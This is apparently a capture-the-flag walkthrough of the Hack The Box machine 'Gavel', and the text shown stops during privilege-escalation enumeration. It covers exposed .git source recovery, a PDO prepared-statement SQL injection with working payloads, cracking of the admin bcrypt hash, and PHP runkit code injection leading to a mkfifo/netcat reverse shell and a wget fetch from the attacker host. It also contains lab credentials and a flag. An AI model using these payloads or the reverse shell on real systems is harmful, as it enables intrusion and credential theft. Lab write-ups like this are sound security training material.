Skip to main content

Documentation Index

Fetch the complete documentation index at: https://hackwithmike.com/llms.txt

Use this file to discover all available pages before exploring further.

Starting the box


Link to the box: https://app.hackthebox.com/machines/gavel

Port Scan

We start off the box by running a port scan on the provided IP.
Attacker Linux
rustscan --ulimit 5000 -a 10.129.183.7 -r 1-65535 -- -A -vvv -oN Gavel
Output of Rustscan
Terminal Output
Open 10.129.183.7:22
Open 10.129.183.7:80
Output of Nmap:
Terminal Output
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN/Hhg1nYlWGdi109d6k/OXFg0xbLVuEho3xQqX/DkRDPQ5Y9P6l2XLkbsSscgiQIq3/bHeX6T4mLci0/I/kHeI=
|   256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMYFumAaeF6fOwurP+3zFG7iyLB1XC40te7RWDNVze0x

80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://gavel.htb/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router

Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
A few key notes:

Edit the Hosts file

As always, we edit the /etc/hosts file to add the hostname:
Attacker Linux
sudo nano /etc/hosts
/etc/hosts
Nano Interface
10.129.183.7 gavel.htb

Initial Foothold


Enumerating Port 80: Web Server

Subdomain Enumeration

We first run a quick vhost brute-force to look for potential subdomains.
GoBuster (vhost):
We will brute-force the sub-domains using GoBuster’s vhost mode.
Attacker Linux
┌──(kali㉿kali)-[~/Desktop/HTB/s9/Gavel]
└─$ gobuster vhost -u http://10.129.183.7 -t 500 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain --domain gavel.htb -xs 301
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://10.129.183.7
[+] Method:                    GET
[+] Threads:                   500
[+] Wordlist:                  /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:                gobuster/3.8
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
...
Progress: 114442 / 114442 (100.00%)
===============================================================
Finished
===============================================================
  • There are only error responses, no valid subdomains are listed.

Directing Busting

We will first run a quick directory enumeration with Feroxbuster.
Feroxbuster:
Attacker Linux
┌──(kali㉿kali)-[~/Desktop/HTB/s9/Gavel]
└─$ feroxbuster -u http://gavel.htb -C 404

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://gavel.htb/
 🚩  In-Scope Url          │ gavel.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 💢  Status Code Filters   │ [404]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
Key output:
Terminal Output
...
200      GET      102l      397w     3798c http://gavel.htb/assets/items.json
200      GET       78l      213w     4281c http://gavel.htb/login.php
200      GET       84l      301w     4485c http://gavel.htb/register.php
200      GET      222l     1044w    14062c http://gavel.htb/index.php
...
200      GET      222l     1034w    13957c http://gavel.htb/
301      GET        9l       28w      306c http://gavel.htb/rules => http://gavel.htb/rules/
[####################] - 2m     90098/90098   0s      found:46      errors:17
[####################] - 2m     30000/30000   285/s   http://gavel.htb/
[####################] - 2m     30000/30000   280/s   http://gavel.htb/includes/
...
[####################] - 0s     30000/30000   187500/s http://gavel.htb/assets/ => Directory listing (add --scan-dir-listings to scan)
...
  • Filtered all static images & files from /assets folder.
DirSearch:
Running another tool just to be sure we are not missing anything important:
Attacker Linux
┌──(kali㉿kali)-[~/Desktop/HTB/s9/Gavel]           
└─$ dirsearch -x 404 -u http://gavel.htb                       

  _|. _ _  _  _  _ _|_    v0.4.3    
 (_||| _) (/_(_|| (_| )             

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/Desktop/HTB/s9/Gavel/reports/http_gavel.htb/_25-11-29_20-54-47.txt

Target: http://gavel.htb/

[20:54:47] Starting: 
[20:54:54] 301 -  305B  - /.git  ->  http://gavel.htb/.git/
...
  • Aha. We found .git that are missing from the default wordlist of Feroxbuster.
  • Before we check the .git directory, let’s first manually enumerate the website.

Enumerating the webpage

http://gavel.htb This is an auction site with user registration & login functionality.

Manual Enumeration

register.php:
http://gavel.htb/register.php We will register a user with the following credentials:
user1:password
login.php:
http://gavel.htb/login.php We now login with the newly registered credentials, and we are redirected back to http://gavel.htb/index.php.
index.php:
http://gavel.htb/index.php: A quick check on the cookie gavel_session reveals that the HttpOnly flag is on, meaning that we will not be able grab the token from attacks like XSS. We now have access to the following new pages:
  • /inventory.php, and
  • /bidding.php
bidding.php:
http://gavel.htb/bidding.php We can submit bids to the bidding items. A bid is submitted via a POST request to the /includes/bid_handler.php. A success or error message in JSON will be returned. Once the bidding time has passed, the page will refresh, and the user has the highest bid will have that item in the inventory.php page. For each bidding item, there is also a specific bidding rule. For example, some item may require Bid at least 10% more than the current price, whereas some may ask for Bids must be in multiples of 5. Your account balance must cover the bid amount, etc. So far we have understood the basic functionalities of the application. Let’s move on to the exposed .git directory to look for potential source code files.

Enumerating .git directory

We can use this handy tool, git-dumper, to easily dump the whole git repository from a website.
Attacker Linux
┌──(kali㉿kali)-[~/Desktop/HTB/s9/Gavel]
└─$ git-dumper http://gavel.htb ./gavel.htb
[-] Testing http://gavel.htb/.git/HEAD [200]
[-] Testing http://gavel.htb/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://gavel.htb/.gitignore [404]
[-] http://gavel.htb/.gitignore responded with status code 404
[-] Fetching http://gavel.htb/.git/ [200]
...
[-] Sanitizing .git/config
[-] Running git checkout .
Updated 1849 paths from the index

Git Commit Review

We can run the git log command to check the commit history:
Attacker Linux
┌──(kali㉿kali)-[~/…/HTB/s9/Gavel/gavel.htb]
└─$ git log                                                                                   
commit f67d90739a31d3f9ffcc3b9122652b500ff2a497 (HEAD -> master)
Author: sado <[email protected]>
Date:   Fri Oct 3 18:38:02 2025 +0000

    ..

commit 2bd167f52a35786a5a3e38a72c63005fffa14095
Author: sado <[email protected]>
Date:   Fri Oct 3 18:37:10 2025 +0000

    .

commit ff27a161f2dd87a0c597ba5638e3457ac167c416
Author: sado <[email protected]>
Date:   Sat Sep 20 13:12:15 2025 +0000
To check the difference between the first and last commit, we can run the git diff command:
Attacker Linux
┌──(kali㉿kali)-[~/…/HTB/s9/Gavel/gavel.htb]
└─$ git diff ff27a161f2dd87a0c597ba5638e3457ac167c416 f67d90739a31d3f9ffcc3b9122652b500ff2a497
diff --git a/rules/default.yaml b/rules/default.yaml
index a5bef05..1b3660f 100755
--- a/rules/default.yaml
+++ b/rules/default.yaml
@@ -5,11 +5,5 @@ rules:
   - rule: "return $current_bid % 5 == 0;"
     message: "Bids must be in multiples of 5. Your account balance must cover the bid amount."
 
-  - rule: "return strlen($bidder) % 2 == 0;"
-    message: "Bidding is restricted to users with an even-numbered username."
-
-  - rule: "return strlen($bidder) % 2 == 1;"
-    message: "Bidding is restricted to users with an odd-numbered username."
-
   - rule: "return $current_bid >= $previous_bid + 5000;"
-    message: "Only bids greater than 5000 will be considered. Ensure you have sufficient balance before placing such bids."
+    message: "Only bids greater than 5000 + current bid will be considered. Ensure you have sufficient balance before placing such bids."^M
  • Only the default.yaml has been changed.
  • There are no deleted / removed credentials.

Source Code Review

We can now enumerate the source code of the website.
Attacker Linux
┌──(kali㉿kali)-[~/…/HTB/s9/Gavel/gavel.htb]
└─$ ls -la                        
total 96
drwxrwxr-x 6 kali kali  4096 Nov 29 21:27 .
drwxrwxr-x 4 kali kali  4096 Nov 29 21:26 ..
-rwxrwxr-x 1 kali kali  8820 Nov 29 21:27 admin.php
drwxrwxr-x 6 kali kali  4096 Nov 29 21:27 assets
-rwxrwxr-x 1 kali kali  8441 Nov 29 21:27 bidding.php
drwxrwxr-x 7 kali kali  4096 Nov 29 21:27 .git
drwxrwxr-x 2 kali kali  4096 Nov 29 21:27 includes
-rwxrwxr-x 1 kali kali 14520 Nov 29 21:27 index.php
-rwxrwxr-x 1 kali kali  8384 Nov 29 21:27 inventory.php
-rwxrwxr-x 1 kali kali  6408 Nov 29 21:27 login.php
-rwxrwxr-x 1 kali kali   161 Nov 29 21:27 logout.php
-rwxrwxr-x 1 kali kali  7058 Nov 29 21:27 register.php
drwxrwxr-x 2 kali kali  4096 Nov 29 21:27 rules
.git/config:
Attacker Linux
┌──(kali㉿kali)-[~/…/HTB/s9/Gavel/gavel.htb]
└─$ cat .git/config 
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[user]
        name = sado
        email = [email protected]
  • A username: sado.
includes/config.php:
Attacker Linux
┌──(kali㉿kali)-[~/…/HTB/s9/Gavel/gavel.htb]
└─$ cat includes/config.php 
<?php

define('DB_HOST', 'localhost');
define('DB_NAME', 'gavel');
define('DB_USER', 'gavel');
define('DB_PASS', 'gavel');

define('ROOT_PATH', dirname(__DIR__));

$basePath = rtrim(dirname($_SERVER['SCRIPT_NAME']), '/');
define('BASE_URL', $basePath);
define('ASSETS_URL', $basePath . '/assets');
A few key notes:
  • Database is running locally on the web server.
  • The Database name, user and password are all gavel.
  • From db.php, we can know that it is running on MySQL.

Identifying vulnerable functions

Locating function vulnerable to RCE

includes/bid_handler.php:
After diving deep into the code, we notice the following function uses runkit:
PHP snippet
...
$current_bid = $bid_amount;
$previous_bid = $auction['current_price'];
$bidder = $username;

$rule = $auction['rule'];
$rule_message = $auction['message'];

$allowed = false;

try {
    if (function_exists('ruleCheck')) {
        runkit_function_remove('ruleCheck');
    }
    runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
    error_log("Rule: " . $rule);
    $allowed = ruleCheck($current_bid, $previous_bid, $bidder);
} catch (Throwable $e) {
    error_log("Rule error: " . $e->getMessage());
    $allowed = false;
}
...
  • With some research, we note that runkit is a PHP extension that allow users to create user-defined functions & classes.
In particular, the runkit_function_add function allows users to create a new function that will run eval() in the background on the provided code.
PHP: runkit7_function_add - Manual
PHP: create_function - Manual
  • create_function — Create a function dynamically by evaluating a string of code
  • This function internally performs an eval() and as such has the same security issues as eval(). It also has bad performance and memory usage characteristics, because the created functions are global and can not be freed.
This function takes the following arguments:
PHP snippet
runkit7_function_add(
    string $function_name,
    string $argument_list,
    string $code,
    bool $return_by_reference = null,
    string $doc_comment = null,
    string $return_type = ?,
    bool $is_strict = ?
): bool
  • The first argument takes the function name.
  • The second argument takes the list of arguments for this function.
  • The third argument takes the PHP codes to run.
Comparing to our code snippet:
PHP snippet
runkit_function_add(
	'ruleCheck', 
	'$current_bid, $previous_bid, $bidder', 
	$rule
);
  • We can see that the function is taking the $rule variable as the codes to be executed.
  • The $rule value is set by $rule = $auction['rule'];
The $auction value is set by fetching data from the database:
PHP snippet
$stmt = $pdo->prepare("SELECT * FROM auctions WHERE id = ?");
$stmt->execute([$auction_id]);
$auction = $stmt->fetch();
rules/default.yaml:
The example rules can be seen in rules/default.yaml. The rule values are written in PHP codes.
rules/default.yaml
rules:
  - rule: "return $current_bid >= $previous_bid * 1.1;"
    message: "Bid at least 10% more than the current price."

  - rule: "return $current_bid % 5 == 0;"
    message: "Bids must be in multiples of 5. Your account balance must cover the bid amount."

  - rule: "return $current_bid >= $previous_bid + 5000;"
    message: "Only bids greater than 5000 + current bid will be considered. Ensure you have sufficient balance before placing such bids."

admin.php:
From the codes, we learn that the rules can be updated from the admin panel. Therefore, the goal here is to escalate ourselves into application admin (auctioneer role) first.
PHP snippet
...
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $auction_id = intval($_POST['auction_id'] ?? 0);
    $rule = trim($_POST['rule'] ?? '');
    $message = trim($_POST['message'] ?? '');

    if ($auction_id > 0 && (empty($rule) || empty($message))) {
        $stmt = $pdo->prepare("SELECT rule, message FROM auctions WHERE id = ?");
        $stmt->execute([$auction_id]);
        $row = $stmt->fetch(PDO::FETCH_ASSOC);
        if (!$row) {
            $_SESSION['success'] = 'Auction not found.';
            header('Location: admin.php');
            exit;
        }
        if (empty($rule))    $rule = $row['rule'];
        if (empty($message)) $message = $row['message'];
    }

    if ($auction_id > 0 && $rule && $message) {
        $stmt = $pdo->prepare("UPDATE auctions SET rule = ?, message = ? WHERE id = ?");
        $stmt->execute([$rule, $message, $auction_id]);
        $_SESSION['success'] = 'Rule and message updated successfully!';
        header('Location: admin.php');
        exit;
    }
}
...

Locating function vulnerable to SQLi

inventory.php:
After some more deep diving, we notice the user input user_id in the sorting function in inventory.php is not validated and sanitized at all.
PHP snippet
...
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
$itemMap = [];
$itemMeta = $pdo->prepare("SELECT name, description, image FROM items WHERE name = ?");
try {
    if ($sortItem === 'quantity') {
        $stmt = $pdo->prepare("SELECT item_name, item_image, item_description, quantity FROM inventory WHERE user_id = ? ORDER BY quantity DESC");
        $stmt->execute([$userId]);
    } else {
        $stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
        $stmt->execute([$userId]);
    }
    $results = $stmt->fetchAll(PDO::FETCH_ASSOC);
} catch (Exception $e) {
    $results = [];
}
...
  • While prepared statement is in-use, and the $sortItem value from user input is sanitized by replacing the backticks, the $userId was missed out for validation.
Also, we can see that the $results (column data) are simply all fetched and returned directly in the $name variable, which is visible to the user in the item cards.
PHP snippet
...
foreach ($results as $row) {
    $firstKey = array_keys($row)[0];
    $name = $row['item_name'] ?? $row[$firstKey] ?? null;
    if (!$name) {
        continue;
    }
    $meta = [];
    try {
        $itemMeta->execute([$name]);
        $meta = $itemMeta->fetch(PDO::FETCH_ASSOC);
    } catch (Exception $e) {
        $meta = [];
    }
    $itemMap[$name] = [
        'name' => $name ?? "",
        'description' => $meta['description'] ?? "",
        'image' => $meta['image'] ?? "",
        'quantity' => $row['quantity'] ?? (is_numeric($row[$firstKey]) ? $row[$firstKey] : 1)
    ];
}
...
Breaking out the Prepared Statement in PHP:
Normally, prepared statements prevent SQL injections by separating query and data for the database. Conceptually, it splits the query into 2 phases:
  1. Prepare - Defining Query Structure. The database will first receive a “prepared statement”, which is a pre-defined SQL query with the required data being replaced by placeholders (?). The database will then parse & ready to execute this query.
  2. Execute - Supplying Data. User-supplied values are then sent to the database as literal strings. The database will not re-parse the received strings as SQL.
PHP snippet
# Stage 1: Prepare
$stmt = $pdo->prepare(
    "SELECT id FROM users WHERE username = ?"
);
# Stage 2: Execute
$stmt->execute([$username]);
However, placeholders (?) (or bound parameters) in prepared statements can only parameterize values, not database identifiers, such as column names, table names, etc., since they will be interpreted as literal text. To allow user-supplied database identifiers in prepared statement, we will have to concatenate the identifier to the statement, similar to the implementation in the above codes. However, to do this safely, either a whitelist approach (validate against a list of allowed identifiers), or heavy sanitization has to be performed
PHP snippet
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");

Exploiting SQLi in PHP PDO Prepared Statement

Identifying the SQLi vulnerability

After some research, from the article Novel SQL Injection Technique in PDO Prepared Statements, we learn that PDO emulates all prepared statements in MySQL by default, unless if the PDO::ATTR_EMULATE_PREPARES attribute is explicitly set as false. PDO will run its own SQL parser to escape strings and build the prepared statement, and it then sends the parsed full SQL statement to the database. This opens an attack vector towards SQLi - if we can trick the PDO parser into mis-parsing our input, we can potentially smuggle in our query. First, we can check if the attribute is enabled by checking db.php. Since PDO::ATTR_EMULATE_PREPARES is not explicitly called, we can assume that it is set to true by default.
PHP snippet
<?php
require_once __DIR__ . '/config.php';
try {
    $pdo = new PDO("mysql:host=" . DB_HOST . ";dbname=" . DB_NAME, DB_USER, DB_PASS);
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    $pdo->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, true);
} catch (PDOException $e) {
    die("Database connection failed.");
}
In inventory.php, we can see that there is only little sanitization on the $col user input, and there is no sanitization in $userId. Only the backticks are removed from $sortItem.
PHP snippet
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
Based on the techniques shared in the above article, we can identify the following vulnerable injection point. We can see that $col is being directly concatenated into the query.
PHP snippet
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
        $stmt->execute([$userId]);
  • If we can smuggle in a bound parameter (?), and supply our malicious payload via the non-validated $user_id parameter, we can trick PDO into parsing the malicious payload into the $col position, and construct a functional SQL query.
According to the article, we can sneak in the bound parameter (?) in $col simply by having it followed by a null byte (%00 or \0). This breaks the parsing logic for the second backtick, and it will ignore the first backtick with the SKIP_ONE(PDO_PARSER_TEXT) parsing logic for special characters. This thus makes the PDO parser sees the ? as a legit bound parameter, since the backticks are ignored. We can see the PDO parsing logic here: php-src/ext/pdo_mysql/mysql_sql_parser.re at master · php/php-src.
PHP snippet
$col = `?%00`
  • The article also mentioned that null byte is not even necessary for older versions of PHP to pull off this attack.
  • I personally find that the null byte (%00) does not matter at all here, as long as there is a comment operator following the ?, i.e. ?--.
Now, anything in $userId will be placed into the first ? in the query:
SQL Query
SELECT `?--%00`
FROM inventory 
WHERE user_id = ? 
ORDER BY item_name ASC
Say if $userId = x:
SQL Query
SELECT `'x'--%00`
FROM inventory 
WHERE user_id = ? 
ORDER BY item_name ASC
  • The parser should return a syntax error on the first line, since the second backtick is corrupted / disabled, causing the backtick not closing properly.
We can close it by adding a backtick after our $userId value - x`;--, with the semicolon & comment to close off the remaining part of the query.
SQL Query
SELECT `'x`;--'--%00`
FROM inventory 
WHERE user_id = ? 
ORDER BY item_name ASC
  • Now, this is a correctly parsed statement, and MySQL will interpret 'x as a column name.
  • Again from my attempts, I notice that the comment operator (--) after the semicolon does not matter at all (the one in $userId). However, the one after ? (in $col) must be present to make the payload work.
Since we can make MySQL interpret 'x as a column name, now we just need to create a subquery and name the resulting table as 'x. Something like this:
SQL Query
SELECT `'x` FROM (SELECT version() AS `'x`) AS y;--'--%00`
FROM inventory 
WHERE user_id = ? 
ORDER BY item_name ASC
  • The alias AS y is required for a sub-query to be performed within the main query.
However, directly injecting this payload is not possible, since the single quote (') will be escaped by PDO by adding a backslash (\'). The data part is parsed into a string that is wrapped between 2 single quotes before constructing the full SQL query. Therefore, sending over 'x, will result in '\'x' in PDO’s parsing logic. The trick here is to simply make our resulting column name into \'x by adding a backslash before the ?, which makes the resulting payload looks like this:
Payload
\?--%00
The PDO parser will take in the $userId value x` ... ;--, and place it into ?, which makes the resulting column name as \'x.
SQL Query
SELECT `\'x` FROM (SELECT version() AS `\'x`) AS y;--'--
FROM inventory 
WHERE user_id = ? 
ORDER BY item_name ASC
  • This is the final working SQL injection payload.
We can validate this by sending over the payload:
HTTP Request
POST /inventory.php HTTP/1.1
...
user_id=x` FROM (SELECT version() AS `'x`) AS y;--&sort=\?--%00
  • user_id is where our malicious query lies.
  • sort is what would become $col in the query.
The response:
HTTP Response
...
<h5 class="card-title">
	<strong>8.0.43-0ubuntu0.22.04.2</strong>
</h5>
...

Exploiting SQLi for Credentials

Let’s query what databases are present:
HTTP Request
POST /inventory.php HTTP/1.1
...
user_id=x` FROM (SELECT schema_name AS `'x` FROM information_schema.schemata) AS y;--&sort=\?--%00
  • Note that the AS `'x` should be placed after the column (here schema_name), for aliasing the resulting table as `'x`.
The response:
HTTP Response
<h5 class="card-title"><strong>information_schema</strong></h5><hr>
...
<h5 class="card-title"><strong>performance_schema</strong></h5><hr>
...
<h5 class="card-title"><strong>gavel</strong></h5><hr>
  • There is a custom database gavel.
Let’s list the tables from gavel:
HTTP Request
POST /inventory.php HTTP/1.1
...
user_id=x` FROM (SELECT table_name AS `'x` FROM information_schema.tables WHERE table_schema = 'gavel') AS y;&sort=\?--
  • For some reason, the WHERE clause did not work.
Listing all tables worked:
HTTP Request
user_id=x` FROM (SELECT table_name AS `'x` FROM information_schema.tables) AS y;&sort=\?--
Some of the outputs. The users table is likely valuable.
HTTP Response
<h5 class="card-title"><strong>auctions</strong></h5><hr>
...
<h5 class="card-title"><strong>inventory</strong></h5><hr>
...
<h5 class="card-title"><strong>items</strong></h5><hr>
...
<h5 class="card-title"><strong>users</strong></h5><hr>
...
Similarly, the WHERE clauses for column name is not working, therefore we have to list all columns from all tables:
HTTP Request
user_id=x` FROM (SELECT column_name AS `'x` FROM information_schema.columns) AS y;&sort=\?--
Some of the outputs that are likely from the users table:
HTTP Response
<h5 class="card-title"><strong>username</strong></h5><hr>
...
<h5 class="card-title"><strong>password</strong></h5><hr>
...
<h5 class="card-title"><strong>role</strong></h5>
We can then try to extract the credentials using the following payload:
HTTP Request
user_id=x` FROM (SELECT username AS `'x` FROM gavel.users) AS y;&sort=\?--
The response:
HTTP Response
<h5 class="card-title"><strong>auctioneer</strong></h5>
...
<h5 class="card-title"><strong>user1</strong></h5>
  • The admin username is just auctioneer, which is the same name as the role.
Checking the password. We can use the CONCAT function in MySQL to return two columns in one string.
HTTP Request
user_id=x` FROM (SELECT CONCAT (username, password) AS `'x` FROM gavel.users) AS y;&sort=\?--
The response:
HTTP Response
...
<h5 class="card-title"><strong>auctioneer$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS</strong></h5>
...

Cracking Password Hashes with Hashcat

Starting from the configuration password hash, let’s check if it is crackable.
Password Hash
$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS
We’ll use hashcat’s auto-detect mode to determine its hash type. We’ll start from mode 3200.
Attacker Windows
.\hashcat hash.txt
...
The following 5 hash-modes match the structure of your input hash:

      # | Name                                                       | Category
  ======+============================================================+======================================
   3200 | bcrypt $2*$, Blowfish (Unix)                               | Operating System
  25600 | bcrypt(md5($pass)) / bcryptmd5                             | Forums, CMS, E-Commerce
  25800 | bcrypt(sha1($pass)) / bcryptsha256                         | Forums, CMS, E-Commerce
  30600 | bcrypt(sha256($pass)) / bcryptsha256                       | Forums, CMS, E-Commerce
  28400 | bcrypt(sha512($pass)) / bcryptsha512                       | Forums, CMS, E-Commerce
Using mode 3200 on the hash, and it is successfully cracked.
Attacker Windows
.\hashcat -m 3200 hash.txt rockyou.txt
...
$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS:midnight1
We can now login to the application with the following credentials:
Credentials
auctioneer:midnight1
  • Since the password is very weak, it is also possible that we can simply brute-force our way into the application.

Exploiting RCE vulnerability in PHP Runkit

Command Injection via Admin Panel

http://gavel.htb/admin.php With the newly obtained credentials, we can now access the admin.php panel, which we have previously identified to be the injection point for the RCE vulnerability in includes/bid_handler.php. The auction rules & messages can be updated via the following POST request:
HTTP Request
POST /admin.php HTTP/1.1
...
auction_id=1045&rule=&message=
We will first send a simple wget request to see if we can use the system function to execute system commands:
HTTP Request
POST /admin.php HTTP/1.1
...
auction_id=1066&rule=system("wget 10.10.14.32");&message=system("wget 10.10.14.32")
Then, on http://gavel.htb/bidding.php, we will place a bid on the corresponding auction item to trigger the custom function created by runkit:
HTTP Request
POST /includes/bid_handler.php HTTP/1.1
...
------WebKitFormBoundary1S87exBekLWA5xyd
Content-Disposition: form-data; name="auction_id"
1066
------WebKitFormBoundary1S87exBekLWA5xyd
Content-Disposition: form-data; name="bid_amount"
1234
------WebKitFormBoundary1S87exBekLWA5xyd--
  • May require a few clicks on the button.
We received the following responses from the server:
HTTP Response
HTTP/1.1 200 OK
...
{"success":false,"message":"system(\"wget 10.10.14.32\");"}
At the same time, we received a call back on our controlled web server, indicating that RCE with the system() function is possible.
Attacker Linux
┌──(kali㉿kali)-[~/Desktop/HTB/s9/Gavel]
└─$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.183.7 - - [30/Nov/2025 10:17:08] "GET / HTTP/1.1" 200 -

Obtaining a Reverse Shell

After a couple attempts, the following reverse shell payload worked:
PHP snippet
system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.32 443 >/tmp/f");
  • This can be placed directly inside the rule box in the admin panel.
On our Penelope reverse shell listener, we successfully established a shell session:
Attacker Linux
┌──(kali㉿kali)-[~/Desktop/HTB/s9/Gavel]
└─$ pen -p 443
[+] Listening for reverse shells on 0.0.0.0:443 →  127.0.0.1 • 192.168.50.134 • 172.17.0.1 • 10.10.14.32
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from gavel~10.129.183.7-Linux-x86_64 😍 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12 
[+] Logging to /home/kali/.penelope/sessions/gavel~10.129.183.7-Linux-x86_64/2025_11_30-10_24_36-512.log 📜
───────────────────────────────────────────────────────────────────────────────────
www-data@gavel:/var/www/html/gavel/includes$ whoami
www-data
After poking around for a while, we notice that there is only one user directory.
Victim Linux
www-data@gavel:/home$ ls -la /home
total 12
drwxr-xr-x  3 root       root       4096 Nov  5 12:46 .
drwxr-xr-x 19 root       root       4096 Nov  5 12:46 ..
drwxr-x---  2 auctioneer auctioneer 4096 Nov  5 12:46 auctioneer
Since this account has the same username (auctioneer) with the one that we obtained the password, we simply try to spray the password and see if we can login:
Victim Linux
www-data@gavel:/home$ su auctioneer
Password: 
auctioneer@gavel:/home$ whoami
auctioneer
  • Success!
Getting the user flag:
Victim Linux
auctioneer@gavel:/home$ cd ~
auctioneer@gavel:~$ cat user.txt
b5a337a785ffae68111fc2b15aa8a875

Privilege Escalation


Post-ex Enumeration

Checking Sudo Exploitability

Always a quick run on sudo before everything. Let’s move on since we cannot use sudo.
Victim Linux
auctioneer@gavel:/home$ sudo -l
[sudo] password for auctioneer: 
Sorry, user auctioneer may not run sudo on gavel.

Running LinPEAS

As usual, let’s first run LinPEAS for some quick information gathering.
Victim Linux
auctioneer@gavel:~$ wget 10.10.14.32/linux/linpeas.sh
--2025-11-30 18:35:45--  http://10.10.14.32/linux/linpeas.sh
...
auctioneer@gavel:~$ chmod +x ./linpeas.sh
auctioneer@gavel:~$ ./linpeas.sh
Some interesting output from LinPEAS:
LinPEAS Output
╔══════════╣ Running processes (cleaned)
...
root      991  0.0  0.0   7372  3484 ?   Ss  06:58  0:02 /bin/bash /root/scripts/auction_watcher.sh
...
root      992  0.0  0.1  19128  5928 ?   Ss  06:58  0:00 /opt/gavel/gaveld
...
root     1007  0.3  0.4  26784 18256 ?   Ss  06:58  0:09 python3 /root/scripts/timeout_gavel.py
...
══╣ Active Ports (netstat)
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
...
╔══════════╣ Executable files potentially added by user (limit 70)
..
2025-10-03+19:35:58.6240656280 /usr/local/bin/gavel-util
...
╔══════════╣ Unexpected in /opt (usually empty)
total 12
drwxr-xr-x  3 root root 4096 Nov  5 12:46 .
drwxr-xr-x 19 root root 4096 Nov  5 12:46 ..
drwxr-xr-x  4 root root 4096 Nov  5 12:46 gavel
...
╔══════════╣ Unexpected in root
/invoice.txt
A few key notes:
  • A few custom scripts & binaries are running as root.
  • No interesting internal ports are opened except Port 33060.
  • There is a user-owned / added executable: /usr/local/bin/gavel-util.
  • There is a gavel directory in the /opt directory.
  • There is an invoice.txt in the / (system root) directory.
Checking Port 33060:
We start off by trying to login to MySQL on port 33060. However, the following error message returned.
Victim Linux
